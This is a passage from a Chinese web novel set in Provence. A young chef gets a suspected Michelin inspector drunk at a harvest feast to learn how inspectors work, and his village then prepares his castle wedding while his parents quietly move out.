罗南不知道这个数字是否为真,也很难想象是多少人共同努力创造出这个奇迹的,但他确信,今晚庆祝丰收年的活动一定占据了很大的功劳。 他们是准时来的,但整个广场已经吵闹的不像样子,有可能主办方是种植园主的原因,今晚广场上的农夫含量严重超标。 农夫们通常在野外工作,想要和谁聊两句,要隔着好几亩田,而且其中还会夹杂着拖拉机的引擎声.嗓门一个比一个大,还常常忘记调整室内外说话的音量。 但即便如此,酒杯不断碰撞所发出的清脆声响和软木塞离开酒瓶的‘砰砰’声还是清晰可见,可想而知这里有多少人正在推杯换盏。 今晚的气氛比昨晚还要热烈,当‘战歌’响起,所有人都会跳入葡萄的海洋。 罗南几人找到位置坐下来,格雷瓜尔第一件事便是拿起桌子上的菜单打量,随后满意的点头: “很不错的乡村美食。” 罗南也拿起菜单,同样满意的点头。 种植园主们举办的活动,晚餐充斥着浓郁的普罗旺斯风格,战线拉的像是马拉松一样长,足足有十几道。 而每道菜期间平均要品尝10-12种葡萄酒。 这么高的强度,可能主菜还没开始,他就能有所收获了。 不过在这之前,要先看看格雷瓜尔的酒量。 罗南从西奥多尔的黑书包里拿出两个小桶,给自己一个,另外一个放到了西奥多尔的脚旁。 格雷瓜尔余光看到罗南的奇怪举动,忍不住问: “这是要来干什么的?” 罗南大言不惭的说: “吐酒,我和我的师傅西奥多尔只品不尝。” 格雷瓜尔发出不理解但尊重的叹息: “那可太遗憾了。” 罗南将桶递过去,好心的提醒: “今晚要喝的种类很多,我恐怕你也很难吃得消,我可以与你分享。” 格雷瓜尔笑哈哈的放下菜单: “波尔多的男人从来不知道喝醉是什么样的。” 罗南笑哈哈的收起了桶。 甚好甚好。 说是庆典活动,其实就是一个大型的户外聚餐。 前面的讲话和展示环节没什么人感兴趣,前菜出现,狂欢便真正的开始。 格雷瓜尔已在之前做好铺垫,在前菜上来时从西装里拿出来了一个笔记本,每吃一口就在上面记录几笔,最终每一道菜的后面都会有好几行文字。 喝酒的时候,他也会记录,但通常只有短短的一句话。 罗南默默把这个细节记在心里——米其林视察员吃饭的时候会随身携带笔记本,并大量做笔记。 白葡萄酒炖鸭上桌,罗南找了个机会套话。 “你也爱吃鸭肉?”罗南扯下一块鸭肉问格雷瓜尔,“不是每个人都喜欢鸭肉,我以为只有教皇新堡本地人才吃得惯这种味道。” 格雷瓜尔低头奋笔疾书: “做我们这行的,没有爱吃或者不爱吃的权利,即使我本人不喜欢吃,我的读者们中也有喜欢的所以什么都得尝尝。” 罗南耸肩: “听起来你的工作性质和美食评论员差不多,四处吃美食,再点评它们。” 格雷瓜尔停下笔,嗤之以鼻的说: “美食评论员?那是一群收钱做事的家伙,怎么能和我的职业相比?” “哦?”罗南撑住桌子,感兴趣的问,“你的意思是,即使有人给你钱,你也不会特意去捧高某些食物?” 格雷瓜尔敷衍着说: “差不多吧,我的职业不允许我那样做。” 罗南眼睛看着其他方向,以降低格雷瓜尔的警惕: “挺有意思的,听起来像是米其林的那些人,《米其林指南》拒绝所有广告投放,如果他们想,会有几百个客户拿着钱求他们。” 格雷瓜尔‘顾左右而言他’,像是没听到似的,抻着脖子看隔壁桌: “鸭肉配什么酒?这轮菜的酒是不是还没来?” 罗南扭动脖子,似乎也在找他们的酒到哪里了: “是啊,酒怎么还不来?” 快点啊喂! 赶紧让这个人多喝点!! 教皇新堡的种植园主们热情好客,同样邀请来了现场乐队。 而且今晚来的又是我们的好朋友——快乐的教皇新堡人。 每上一道新的菜,乐队便会上台演唱一首歌曲,每首歌的作用都是让大家喝的尽兴。 前一个晚上,他们通宵达旦的歌唱,今天却照样有个好嗓子。 每一次他们出现,罗南对面的格雷瓜尔都会多喝两杯,并且感慨一次: “你们两个可怜虫!” 他看着罗南和西奥多尔‘痛心疾首’的说: “这么好的气氛,你们是怎么做到把每一口酒都吐出去的?你们的肚子不会抗议吗?” ‘马拉松’过半,主菜还没上桌,但格雷瓜尔已经变得亢奋无比。 最明显的特征是他的笔记本上开始出现大量的感叹号和问号。 罗南还注意到在喝完某款酒后,他在后面画了一个笑脸。 西奥多尔是一个很好的‘助手’,微笑着回答: “和你一样,我们的职业也不允许我们做出某些事情,后面还有许多酒,需要客观的记录下它们的味道。” 罗南耸肩,笑着补充: “没错,米其林指南上也不能花钱打广告不是吗?这些都是规矩。” 格雷瓜尔举手示意服务员他的酒杯空了: “米其林拒绝广告是这个世纪开始的事情,《指南》推出之初是可以打广告的,而且会配合的非常积极,但那些客户大多已不复存在,只有极个别的广告商名字至今还在,其中之一就是标志汽车,那个时候标志还没有生产汽车,专长是制作可折迭的自行车,所采用的技术叫‘杰拉德上尉系统’。” 罗南‘哇’了一声: “你是怎么知道的?我从来没有听到过这些消息。” 格雷瓜尔将新填满的酒杯端起,半真半假的回答: “工作原因,我曾经采访过一位巴黎的米其林员工,是他告诉我的。” 罗南难言激动的说: “伙计,你这工作可太让人羡慕了,能认识那么多人,不瞒你说,我的梦想是做米其林视察员,但他们太神秘了,我不知道如何加入,最后就做品酒师了,米其林的员工啊,太酷了!” 格雷瓜尔警惕的看向西奥多尔,事实上今晚他和罗南、西奥多尔相处的非常愉快,开心到对方像是在‘哄’自己似的。 他可不想让罗南的‘口不择言’改变这么愉悦的气氛。 你怎么能在师傅面前说这种话呢? 但还好,西奥多尔没有任何反常的表现,依然一脸笑容,格雷瓜尔这才放了心。 不过,他还是劝阻道: “我劝你还是打消这个念头吧,工作原因,我知道一些视察员的信息,这些人在加入米其林之前通常需要在餐饮届有8-10年的工作经验,再接受2年的职业培训,一旦开始工作,就要非常努力的‘吃’,包括周末两天也不能休息,还必须是不同风格的餐厅。” 格雷瓜尔喝了一口酒,用抱怨的语气继续说道: “在米其林餐厅用完餐,下一餐必须选一个小餐厅,一个星期下来,一个视察员要品尝10-14种不同风格的菜肴,这样的活动进行半个月后,他们就要换一个地方,为了确保脸不在某一个区域太过频繁的出现,之后就是不停的吃、不停的换工作地点.永不休止。” 终于得到了有用的信息,让罗南兴奋不已,他追问道: “那一个餐厅被视察几次才能上星呢?这个有规定吗?” 格雷瓜尔意识到自己说多了话,低头看向自己的盘子: “这就不知道了。” 罗南赶紧站起来,催促服务员给这里上新的酒: “这里这里,酒别停啊伙计。” 人的肚子是有限的。 对于外地人来说,能跟下一个完整的普罗旺斯晚餐是不可能的事情,尤其在喝了许多许多酒的前提下。 格雷瓜尔在吃完海鲜拼盘后就放下了叉子,属于菜肴的那一部分记录永远停在了那里。 但关于酒的记录还在持续不断的进行着。 战歌不停,酒不断。 今晚的战歌还没有响起,罗南知道.他总有下手的机会。 约晚上8点钟,属于教皇新堡的‘啦啦啦啦’终于响起。 而一晚上不见的杰克逊也如期而至——每当战歌响起,他就会格外的想念那个叫罗南的小子。 杰克逊加入后,罗南便不再吐酒,正式的加入到狂欢的队列里,与其临近的格雷瓜尔也狠狠体会了一把教皇新堡人喝酒的热情。 大约一个小时后,罗南轻松拿到了格雷瓜尔之前当宝贝一样护着的笔记本。 这可不是‘偷’啊,是因为笔记本掉地上了,还被路过的服务员踩了几脚。 这么重要的东西,罗南必须替格雷瓜尔捡起来啊。 上面葡萄酒的序号写到了89,但这并不是格雷瓜尔今晚完整的记录,因为他在白色的桌布上还写了一部分。 都喝成这个逼样了,还在想着工作,看来米其林视察员的属性已经深入到了他的灵魂里。 这个时候,根本不用套什么话,格雷瓜尔自己就开始往外吐噜了。 “所谓的美食评论家精通的不是食物,而是‘吹嘘’,他们的目的是为了出名、被人奉承,最好是厨师一听到他们的名字就毛孔张开,毫毛立起,如果是识好歹的家伙,这个时候就要见机行动了,你看,美食评论家的目的达成了,他们收获了名气,还收获的财富,而我们呢?而我们呢?”格雷瓜尔对着罗南和西奥多尔大吐苦水。 西奥多尔没有什么感情的安慰: “你也可以这样啊,学习那些人,名利双收。” 格雷瓜尔像是听到了什么好听的笑话,前仰后合的说: “你知道我是因为什么原因从事如今的工作的吗?因为我足够普通,无论是举止还是外貌,咋咋唬唬的惹眼家伙在最初就被排除在外了,所以我是个普通到不能再普通的人,一个普通人这辈子只能默默无闻。” 罗南在心里默默记录——样貌和性格都很普通的人,喜欢记录。 好了,现在他已经知道两个关键元素了。 格雷瓜尔像是打开了话匣子: “而且做我们这行的,大部分是女性,因为女性比男人更加谨慎,前几天我和一位女士一起出去吃饭,她注意到一名服务员的指甲不够光洁无瑕,但在我看来,那没有什么问题,是那个女人太挑剔了,这叫什么谨慎啊?但就是因为这个无关紧要的问题,他们丢掉了一颗——” 格雷瓜尔突然抱着脑袋趴到了桌子上: “今晚差不多该结束了,我喝太多了让我睡一会,睡一会我就回去。” 罗南不死心的问: “那一个餐厅被视察几次才能上星呢?” 格雷瓜尔迷迷糊糊的回复: “6次,其中有4个人打出1颗星星就能进名单了。” 罗南和西奥多尔笑着互看了一眼。 男人确实没有女人谨慎。 你看,想知道的都问出来了。 波尔多的男人最终还是倒在了普罗旺斯的土地上,唯一站立的只有他的嘴。 睡了一会,格雷瓜尔表示自己没有什么问题,可以独自离开,无论罗南和西奥多尔如何挽留和劝阻都无济于事。 “他今晚肯定无法开车离开,应该不会出什么大事。”西奥多尔在鉴别醉鬼的方面经验丰富,他劝解罗南不要过度的担心。 两个人去找杰克逊告别,结束这场教皇新堡之行。 但在广场外围,他们又遇到了格雷瓜尔,同时遇到的还有早些时候提醒过他们的那位警察先生。 那位警察非常有耐心的问格雷瓜尔: “好吧先生,你说你的雪铁龙汽车躲着你,但你看,现在外围停了几百辆雪铁龙汽车,你的车有什么特征吗?你还记得它是什么颜色吗?” 格雷瓜尔摇摇晃晃的说: “它有一双大大的眼睛,穿着红色的拖地长裙,还有一个巨大的屁股——” 不远处,西奥多尔对罗南说: “你可以完全放心了,教皇新堡的警察们对此经验丰富。” 罗南后怕似的摇了摇脑袋: “想举办一场关于酒的节日可真不容易,缺一个环节都不行。” 西奥多尔感慨道: “全民狂欢当然不是什么容易达成的事情,在游客狂欢的同时,还要‘全民皆备’,要做到上下一心。” 罗南感激的看向西奥多尔。 在品酒方面,他确实不是自己的师傅,但在其他方面,他教了罗南不少的东西。 教皇新堡之旅圆满结束! 下一站,打道回府去卢尔马兰结婚! 第551章 全卢尔马兰人给‘儿子\’筹备婚礼 在教皇新堡休整了一夜,第二天一早,罗南坐上了康奈尔的车子。 康奈尔早上去阿维尼翁买材料,正好能把罗南带上一起去。 一上车,罗南就迫不及待的询问卢尔马兰城堡那边的进展情况是否顺利。 这几天,他一直在惦记着那里。 “顺利顺利,非常顺利。”康奈尔耐心的说,“除了斯特斯加的伙计们,还自发来了许多村民,艺术家们也来帮忙了,人手多到用不过来佐伊说最终呈现出来的效果比计划中还要好呢。” 城堡如何布置是佐伊带领艺术家们一起设计的,罗南全程都没有使上力,临近结婚,他还来教皇新堡出了一次差,一走就是三天,布置场地也没参与进去 一想到这里,罗南的小脑袋又开始琢磨——是不是还能给佐伊再带来一些什么惊喜? 他这个新郎也得出点力啊。 不过这件事要谨慎,距离婚礼举办只有不到一周的时间,太短了,而这一周他又会繁忙无比,弄不好就把惊喜弄成惊吓了。 “你这次去阿维尼翁是来买什么?”罗南问康奈尔。 康奈尔一边开车一边回答: “佐伊说城堡里只用鲜花做点缀有些单调,让我去买点蜡烛、灯泡和饰品,列了好长一个清单呢。” “鲜花都布置完了?”罗南惊讶的问。 在婚礼布置计划中,鲜花是非常重要的一个元素,届时整个卢尔马兰城堡将变成一片鲜花的海洋。 那么大的工程量.干完了? 康奈尔点头: “对啊,三天就把鲜花全部布置好了,这可是你的婚礼啊罗南,是卢尔马兰最大的事情,你不知道村民们有多积极,每天都有人抢着去照看和打理鲜花呢。” 罗南恼怒的靠到椅背上: “那回去没有什么我能干的事情了啊。” “谁说的?”康奈尔侧头笑着说,“我姐姐说,结婚特别的麻烦,要操心许多事情,而且昨天我听到佐伊对艺术家们说,她想要和你一起设计和制作婚礼蛋糕,你看,这不就是你的事了?” 罗南兴奋的拍了一下手掌: “好,下午就设计!” 和康奈尔在阿维尼翁进行了一轮采买,午饭时间,罗南终于回到了卢尔马兰。 在路上,罗南想到了许多婚礼细节,都需要在这几天一一去解决。 这样看来,婚礼前的这几天他根本不是无事可做,而是繁忙无比。 到了卢尔马兰,第一站就是去城堡找佐伊。 康奈尔说,佐伊这每天都会在这里。 卢尔马兰城堡最初是一座12世纪的堡垒,15世纪由国王安茹的管家改建,其新的附楼是普罗旺斯地区的第一座文艺复兴建筑。 之后,城堡成为克雷基·莱迪吉埃家族的住宅,他们是拉图尔代格城堡的领主,这个家族虽然拥有卢尔马兰城堡,但是从未在此居住过,这种状况一直持续到法国大革命开始。 大革命后,卢尔马兰城堡慢慢沦为废墟。 但就是这样一座被荒废了几百年的城堡,如今突然生机焕发,一派繁荣之景。 这次翻新,卢尔马兰政府除了在修复城堡内外部建筑,以求最高限度恢复历史风貌的同时,还修建了一片美丽的拱廊庭院,力争让更多的游客在城堡里留下美好的记忆。 而罗南和佐伊将举办普罗旺斯非常流行的户外婚礼,不涉及室内布置,主要利用的是室外空间。 “这和我上次来时完全不一样了。”罗南站在连廊下,回忆着去年带父母来参观时的情景,“去年这里破败到让人没有任何留意的兴趣。” 康奈尔低头摸了摸那些鲜花: “连廊是政府翻新的,花是佐伊带着我们布置的,她和她的那些艺术家朋友们太厉害了希尔维说,如果可以的话,未来想要请他们帮忙布置城堡的室内,连村庄的布置都要请他们帮帮忙呢。” “的确可以让艺术家们发挥出更大的作用。”罗南点了点头。 通过希尔维的求助,罗南知道卢尔马兰政府现在欠缺的东西不少,许多地方都需要有人‘挺身而出’,这样一来更要发挥出每一位村民的作用,尤其是那些艺术家们。 突然,他四处寻找起来: “佐伊在哪儿呢?” 其他的事情都等等再想,我的未婚妻在哪里呢? 卢尔马兰城堡翻修后外部区域大变了样子,他都有些分不清方位了。 康奈尔左右看了看: “肯定就在这附近,她每天都在这里。” 罗南在城堡里找了一圈,终于发现了佐伊的身影。 她正和薇薇安在一个偏远的圆亭下,商量这里是不是需要加些其他的配饰。 虽然这里已经远离城堡核心区域,可佐伊对这里的重视程度没有丝毫懈怠,依然追求做到极致。 罗南快步走过去,从身后一把抱住佐伊,将头埋到她的脖子里: “上帝,你把这里布置的太美了。” 佐伊先是尖叫了一声,随后兴奋的回头将罗南抱住,迫不及待的说: “你终于回来了!我带你在这里转转,看看哪里需要改进。” 佐伊带罗南在户外转了一圈,罗南挑不出任何毛病,一切都很完美。 “你们完全没有给我留发挥的余地啊。”罗南主动找活干,“还要布置一些蜡烛和配置是不是?我和康奈尔他们一起。” 佐伊笑着挽住罗南的胳膊: “你不用待在这里了,去餐厅看看吧,婚礼的菜单还需要你来拿主意。” 求婚是罗南自己做的,所以这次婚礼佐伊主动承担了布置和设计的任务,但关于吃.她就没有那么在行了,还是罗南更专业些。 罗南想了一下,是还有许多事情需要去筹备,便不再坚持: “好,那我回餐厅看看,康奈尔说你要和我一起做蛋糕?” 佐伊兴奋的点头: “对,我们一起,我这里还有些事情要处理,晚一点去找你。” 罗南离开后,薇薇安笑着问佐伊: “你给罗南准备的那个‘惊喜’怎么样了?” “明天就要去工作室安装了,婚礼前可以全部弄好。”佐伊在胸前画了一个十字,“千万别出什么岔子,也别让罗南提前发现这个惊喜。” 薇薇安用下巴指了一下罗南离开的方向: “你说罗南会不会也给你准备了惊喜?他那么爱制造惊喜的一个人” 佐伊不假思索的摇头: “没有时间,去教皇新堡之前很长一段时间罗南每天要去编织大院干活,忙好久了,我一直在密切的观察着他的举动,他肯定没有准备什么。” 薇薇安不置可否的耸肩: “这几天呢?这不还是有几天时间吗?” 佐伊更加坚定的摇头: “这几天有无数的事情需要他去安排、去落实,哪有时间给我制造惊喜?” 薇薇安撇了下嘴: “也许吧。” 佐伊被薇薇安说的也没有那么确定了,跟着看向罗南离开的方向: “应该.没有时间准备了吧?” 罗南来到餐厅,想要好好的大展拳脚一番,却被告知: “菜单还用的着你费心?你爸爸已经定好了,而且是好几个版本的,你在里面选一个就行。” 冯珍将几张纸放到收银台上,敲着桌子说: “人手什么的也都安排好了,你结婚前一天,餐厅只开半天,之后就开始给你的婚礼做准备,服务员、后厨什么的都过去,我还让康奈尔去编织大院找了一些妇女过来临时帮忙,人手绝对够,这里你就别费心了,去操心别的事情吧。” 罗南仔细看了看那几份菜单,也是挑不出什么毛病,甚至连冷盘和佐酒小吃都罗列好了.罗天海在这一块比罗南专业多了。 “用这个吧,中法结合,更有特色,一会我给佐伊看一眼,没有问题,你就把这个给爸爸。”罗南将一张纸抽出来,放到最上面,餐食也不用他操心了,那就找点别的事情,“餐厅的桌椅不够,我去找一些桌椅。” 普罗旺斯式婚礼通常是‘长桌宴’的形式,但即使把餐厅里的所有桌椅都搬过去,也招待不下全部的客人。 冯珍赶紧叫停了要推门而出的罗南: “桌椅也不用你费心了,巴蒂说他来想办法,他和特奥那几个家伙去量过好几次了。” “桌椅问题也解决了?”罗南瞪大眼睛问。 冯珍眉飞色舞的说: “不止桌椅,桌布都有人给你做了,我告诉你啊,婚礼结束你必须得好好请一请编织大院那帮人,他们在你婚礼上出老大的力了。” 罗南一连想到了好几个细节问题,但统统被冯珍告知有人提前想到,并解决了。 仿佛全村人都在给‘儿子’准备婚礼似的。 罗南的心情是既感激又激动.未来只能通过实际表现来感谢这些‘父老乡亲’了。 和冯珍聊完,罗南去了后厨,开始筹备婚礼的蛋糕。 正在想着要做个什么样子的,一进甜品厨房迎面见到了一个巨大无比的蛋糕胚,顶部距离房顶只有一点点的距离。 “这是在做什么?”罗南仰着脑袋问莉亚,“你们在研制什么新的甜品吗?” 莉亚将手里的活儿交给一位妇女,擦了擦手,来到罗南的身边: “不是餐厅用的,是给你和佐伊婚礼用的。” “啊?我和佐伊的婚礼?”罗南指着这个大家伙问,“这个?” 莉亚摇头: “不是,这个只是实验品,主要是我没做过那么高的,而且场地有限,这个一会我就拿出去给大家分了吃,等你婚礼时,我要做一个比这个还要大、还要高的。” 正在忙碌的几个妇女七嘴八舌的替莉亚补充。 “这次来参加婚礼的有几百人,你还邀请了那么多外地朋友,我们这帮人别的忙帮不上,必须给你做一个巨大无比的蛋糕撑撑气势。” “不只是大啊,还好吃,莉亚说,每一层中间要加上你最爱吃的草莓酱,她秘制的那种。” “还要用奶油做出佐伊最喜欢的动物样子。” “罗南,你说是做成传统法式婚礼蛋糕的样子,还是加些中式元素在里面?我们都讨论半个多月了。” 莉亚和她的团队主动承担起了制作婚礼蛋糕的任务,并且拒绝罗南的加入。 妇女们用一种过来人的语气说——结婚时要操的心太多了,事无巨细这里你就不用管了,去忙别的吧。 但罗南站在餐厅门口,想了足足十几分钟。 哪还有什么需要他去操心的事情啊? 这不都有人替他‘操心’了吗? 但几个小时之后,罗南发现他把结婚想简单了。 晚上回到家,至少有十个热心的年长妇女找上门来,给他分享了婚礼心得,并提醒了他许多容易忽略的细节。 热心的妇女们不仅提醒,还直接告诉了罗南解决办法,或者替他解决了。 经过这个晚上后,罗南确信—— “我好像真的没有什么需要操心的事情了。”他终于得出了这个结论。 那么是不是可以利用这几天,给佐伊准备一份惊喜了呢? 可想要制造惊喜而不是惊吓,有着不小的难度。 上一次的求婚惊喜成功是因为有托尔在暗中帮助,这一次托尔无法提前来太多天,罗南需要找其他的帮手、一个值得信任的可靠帮手。 他首先回头向厨房看去。 在那里,罗天海正在忙忙叨叨的准备着什么——那是他要在婚礼上给宾客们展示的‘拿手’本领。 父亲主动承担起了婚礼晚宴的任务,已经够忙了,罗南不想要再给他增加压力。 “罗天海!罗天海,你快看看我婚礼那天穿这身怎么样?” 未见其人,先闻其声,这个成就在罗南家只有冯珍可以达成。 ‘duang~duang~duang~~’ 随后楼梯发出不堪重负的声音,冯珍穿着花枝招展的出现了。 这是她今晚换的第十五身衣服,罗南在第五身时就丧失了点评的能力,‘马赛小太阳’也在第十身时失去了热情。 罗天海敷衍的说: “都好都好,你穿什么都好,哎,我在这炸东西呢,你别过来啊,弄你一身。” “你看都没看就说好?”冯珍气鼓鼓的来到客厅,一股屁坐到了罗南身边的沙发上,随后拿起电话播出了一个号码。 “喂,佐伊啊?你睡没睡,我又搭配了几身衣服,你过来帮我拿个主意呗。” 电话那边的佐伊显然接受了这个邀请,冯珍高兴的又‘噔噔噔’的上楼了: “女儿真好啊,比儿子有用多了。” 罗南低头露出了一抹苦笑。 冯珍也绝对不是‘帮手’人选。 罗南前脚跟她说要给佐伊制造惊喜,她后脚就会给佐伊告密。 家里这几个人都靠不住,罗南开始思考其他人选。 但罗天海做饭的味道太香,马赛在厨房里‘汪汪汪’的叫个不停,吵得罗南心烦意乱。 实在憋不住,他离开了家,去到院子里求清净。 刚一坐下,余光看到一抹黑影贴着他的腿趴了下去。 低头一看,是小黑。 知道罗南今天回来,下午卢卡斯把小黑和玛格丽特送回了罗南家里。 小黑长这么大第一次离开罗南这么久,回来之后一直贴在罗南身边,连老婆玛格丽特都不管不顾了。 而且这小家伙既不叫,也不求互动,只会老老实实在往你身边一趴.让人心里无比的踏实。 “还是你最靠谱。”罗南笑着抚摸小黑的后背。 突然,罗南蹲下去抱住了小黑的脑袋: “小黑,咱俩给佐伊制造个惊喜怎么样?” 绝对值得信任,还不会去告密.这不就是最好的帮手人选吗? 第552章 想把我甩了?没门! 婚礼临近前的某一天。 冯珍电视剧也不看了,礼服也不试了,天刚一黑就往卧室里钻。 罗南带狗子们出去了,冯珍也不叭叭了,家里突然这么安静,搞得罗天海特别不适应,主动询问老婆: “婚礼那天穿什么定了吗?要我说,你就听佐伊的吧,上午一身,下午一身,晚上一身,把喜欢的几件衣服都穿一遍。” 老两口就这么一个儿子,而且他们结婚时可没有这么好的条件,又是城堡婚礼、又是户外狂欢,听说佐伊的朋友还邀请了小明星来表演搞得冯珍心气老高了。 但临近婚礼,这股子热情怎么还熄灭了呢? 冯珍靠在床头,手里捧着一本封皮泛了黄的相册,每翻一页,她便会感慨一句: “时间过的真快啊,儿子都要结婚了,你看,这个时候罗南还没上学呢。” 相册里记录了罗南从小到大的影像,最后几页是到普罗旺斯后这两年的。 冯珍的目光停留到去年丰收时维埃里拍下的合照上,路易一家、弗雷迪一家、阿兰一家还有罗南一家站在葡萄园里,顶着大太阳笑的无比灿烂。 她笑着在照片上点了两下,喊罗天海过来一起看: “你看看,罗南这个时候就这么黑了,你再看看前面,那小脸白的呦!” 不等罗天海搭话,冯珍又自顾自的继续说: “但罗南之前笑的没有这么开心,这嘴咧的,都看到嗓子眼儿了。” 冯珍是一个非常感性的人。 小黑去卢卡斯家暂住她都能失落好几天,儿子要结婚这么大的事,更是让她的情绪起了巨大的波澜,每过一阵子就得‘犯’一次,越临近婚礼越是频繁。 “这个时候笑的更开心了。”罗天海指着另外一张照片说。 那是今年年初春节那天拍的——罗南搂着佐伊的肩膀站在餐厅门前,虽然背景是黑天,但掩盖不住两张大大的笑脸。 “真好,真好。”冯珍摸了摸照片上罗南的脸,又摸了摸佐伊的。 她打心眼里喜欢佐伊,在第一次来普罗旺斯时就看上这个女孩。 罗南也争气,还真就把卢尔马兰的璀璨明珠给娶回来了。 罗天海一看冯珍这副样子,知道再不让她换换脑子可能又要琼瑶附体,大喜的日子哭哭啼啼干什么呢? 他从床上站起来,语气激昂的说: “罗南朋友在阿普特的那个餐厅现在经营的挺不错,我打算等卢尔马兰这里的新店平稳下来,下一步就去阿普特搞中餐,我去楼下看看黄页上的餐饮信息,找找目标区域,你给我去做参谋呗?” 冯珍上一次母爱泛滥,狠狠的鞭策了罗天海,让他再努努力,让罗南当上富二代。 罗天海想用这个话题让冯珍换换脑子,别再看那些照片了。 冯珍还真听话的坐了起来,但她拒绝了去给罗天海当参谋: “我不去,我要收拾屋子。” “现在?”罗天海看了一眼手腕上的表,“都8点了,你现在收拾什么屋子啊。” 冯珍二话不说,撸起袖子就往楼下走: “咱们明天就要搬走了,得给罗南收拾的干干净净的,别等佐伊搬来一看,嘿,家里怎么这么乱呢?” 罗天海追着妻子下楼: “还真是明天搬?明天罗南要和巴蒂去拉桌椅你忘了吗?你至少等罗南在家的时候搬啊。” 婚礼举行后,佐伊就要搬过来生活,婚礼前几天,按照普罗旺斯习俗,男女双方还要进行几个小小的庆祝活动。 罗天海和冯珍一商量,早晚都要搬,那就提前几天搬吧。 他们知会了罗南要提前搬走的消息,但没有说准是哪天。 事实上,老俩口的东西早就搬的七七八八,所谓的‘搬家’实际上就是不回来住了。 “我特地选的罗南不在家的这天搬!他在旁边看着,我不得难受死?” “那也明天再说吧,累了一天,先休息,屋子明天我和你一起收拾。” “给儿子干活,我可不累。” “哎,行吧行吧,那我也再研究下婚礼那天的菜.反正这几天夜里也总失眠。” 罗南这几天在秘密的给佐伊准备惊喜。 怕有人看到走漏了风声,每天带着小黑往森林里钻。 再加上婚礼临近,虽然要操心的事不多,但要出力的地方不少,每天起早贪黑的,老累了。 但好消息是他的‘助手’相当靠谱,进度喜人,相信能在婚礼上有一个不错的‘表现’。 婚礼前两天,前一天忙了整整一天的罗南被一阵电话声吵醒。 他想都没想就用被子蒙住脸转头继续睡,以往这种情况,罗天海会下楼去接电话,轮不到罗南。 但那电话一连响了好几遍,还是没有听到父亲下楼的声音。 罗南无奈只能下楼去接电话,拿起一听,打电话来的人居然就是罗天海。 “今天别睡懒觉,还有好多事情呢。” 罗南揉了揉脸: “你去哪儿了?这么早就出去了?” 电话那边停顿了几秒,才传出罗天海的声音: “昨天你忙了一天,又回来的晚,忘跟你说了,我和你妈搬出来了。” “你们搬走了?”罗南瞬间清醒了过来。 罗天海在电话那边故作轻松的说: “早晚都得搬,而且这么近,不用兴师动众的,对了,冰箱里有吃的东西,记得吃早饭。” 挂了电话,罗南在沙发坐了足足有一分钟。 每天清晨,他一下楼就能看到正在厨房做早饭的父亲。 但未来.没人给他做早饭了。 今天还有不少事要做,没时间在这里感慨,罗南去厨房,想要弄点能快速吃的早饭,但一打开冰箱又破防了。 冰箱门一打开,噼里啪啦掉下来了许多食材,显然它已经被塞的不堪重负。 面包、奶酪、牛奶、香肠、水果、蔬菜.足足够他和佐伊两个人吃半个月。 冷冻部分也全部是瓶瓶罐罐的,全部是罗天海提前做好的东西,热一热就能吃,罗南甚至在里面找到了五大袋包好的饺子。 罗南烧了一锅水,又拿出了一袋饺子,之后低头对以往都是蹲在罗天海脚边等饭、今天只能蹲在自己脚边‘望眼欲穿’的马赛说: “真是的明明每天都能见到,弄的这么伤感。” 马赛只是一味的等饭,闭口不言。 这让罗南觉得家里太安静了。 平时罗天海做早饭的时候,冯珍的嘴已经开始上班了。 为了让气氛轻松一些,等水开的时候,罗南跑去厕所洗漱,而且是边洗边唱歌的那种。 洗完脸,又哼着小曲伸手去拿毛巾,一回头‘喇叭’没电了。 罗南的毛巾还是放在那个地方,只是旁边多了一个小便签——‘擦完脸涂点护肤品,就在水盆旁边,千万别懒啊,你不能再黑了!’ 罗南对着那个便签傻笑了一会,母亲的叨叨似乎就在耳边。 冯珍‘嫌弃’罗南黑已经不是一天两天了,罗南每次听到类似的话都是左耳朵进右耳朵出,但今天他鬼使神差的开始抹脸。 涂完了致死量的护肤品,楼下的水也开了,饺子出锅,罗南习惯性的拿出了三幅碗筷,放到桌子上才发现拿多了。 “看我这个脑袋。”他自嘲的收起其中的两套餐具,孤独的坐到硕大的餐桌旁。 以前吃饭的那会功夫,是家里最热闹的时刻。 看着是三口人在吃,实际上是六张嘴在动。 一开饭,狗子们就围住罗天海和冯珍,每次都不会空口而归,但没有狗会守着罗南,因为它们很清楚罗南手特别稳,从来不会‘不小心’把食物掉下去。 今天老两口不在家,除了贪吃又厚脸皮的马赛死死贴着罗南、口水滴了一地,小黑和玛格丽特都乖乖的趴在远处,并没有凑过来。 其实罗南是坚定的‘不乱喂乱给’派,但今天也不知道怎么了.心莫名的就软了下来。 他吃一个饺子,喂马赛一个,又把小黑和玛格丽特叫过来,一人给了一颗,就这样‘四口人’把一盘饺子吃完。 吃完早饭,他在三个小家伙的脑袋上分别点了一下: “别得寸进尺。” 洗完碗,又遛了狗和羊,罗南返回卧室换衣服,开启忙碌的一天。 但打开衣柜,眼前又出现了熟悉的便签,而且不止一个。 贴在他平时常穿的格子衬衣上的便签是这样写的——‘别总穿这一件,都洗白了!放下去拿件别的,我给你买了新的,在最右边。’ 罗南看向衣柜的最右侧,那里挂了三件新的格子衬衣,吊牌还没拆。 他拿起第一件,上面写着——“这件配黑裤子,裤子我帮你洗好熨好了,这一身显得精神。” 罗南又拿出了第二件——“这件有点厚,等过一阵天冷了穿,和中间的灰色夹克是一套,我和佐伊一起帮你选的。” 最后,他拿起了第三件——“我最喜欢这件!儿子你穿这件绝对好看,但别配牛仔裤啊,那太灾难了!” 罗南看到这些便签,自动脑补出了冯珍说这些话时的语气。 以前,他总是抱怨妈妈太爱唠叨了,什么都替他操心,他明明都这么大了、都要结婚了,还拿他当孩子对待.但今天,他觉得这些唠叨是如此的悦耳。 罗南选择了母亲最喜欢的那件新衬衣,之后又在家里发现了许许多多的便签,什么内容都有。 “皮鞋已擦好。” “卫生纸在这里。” “这里是放垃圾袋的地方,不是放垃圾的地方,不要往这里扔垃圾了!” 似乎有什么牵引似的,出门前罗南推开了父母的卧室。 陈设还是那个陈设,家具还是那些家具,床上还铺着整齐干净的被单,空气中甚至还能闻到母亲喜欢的洗衣液味道.但墙上的日历却定格在了前一天。 罗南坐到床边,看向床头柜上那张他之前从来没有花时间留意过的照片。 冯珍有拍照的习惯,而且会将它们保存下来,不知是故意还是疏忽他们搬走的时候居然没有带走这一张。 这张照片是去年复活节,罗南把父母接来普罗旺斯时拍的,背景很简单,就是这所房子。 得知这么漂亮的房子是罗南的,冯珍邀请亨利帮他们一家留个纪念——罗南站在中间,一手抱着爸爸,一手抱着妈妈。 照片里,只有罗南是笑着的,罗天海和冯珍的表情算不上多好看。 